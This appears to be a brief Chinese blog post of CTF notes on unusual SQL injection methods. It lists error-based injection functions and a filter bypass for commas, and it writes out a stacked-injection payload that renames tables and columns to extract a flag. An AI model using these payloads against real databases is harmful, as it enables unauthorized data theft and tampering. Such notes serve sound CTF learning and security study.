Web_Sql_奇葩注入方式及问题

报错注入

extractvalue()
updatexml()
exp()
floor()

二次注入

	(待补充)

堆叠注入

(禁用select|update|delete|drop|insert|where)多个语句同时执行
如:
	1';show databases;
	将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1’ or 1=1 #得到flag
	1';rename tables words to words1;rename tables `1919810931114514` to words; alter table words change flag id varchar(100);#
	之后利用 1' or '1'='1 爆出flag

问题

逗号被过滤
如:
	select 1,2 回显select 1
	可通过 select * from (select 1)a  join (select 2)b
	进行绕过
数据库本身编码问题
报错:
	Illegal mix of collations for operation 'UNION’
	可以用convert()进行编码转换
	如:group_concat(convert(TABLE_NAME using gbk))
posted @ 2020-11-30 19:05  zhbkai  阅读(82)  评论(0编辑  收藏  举报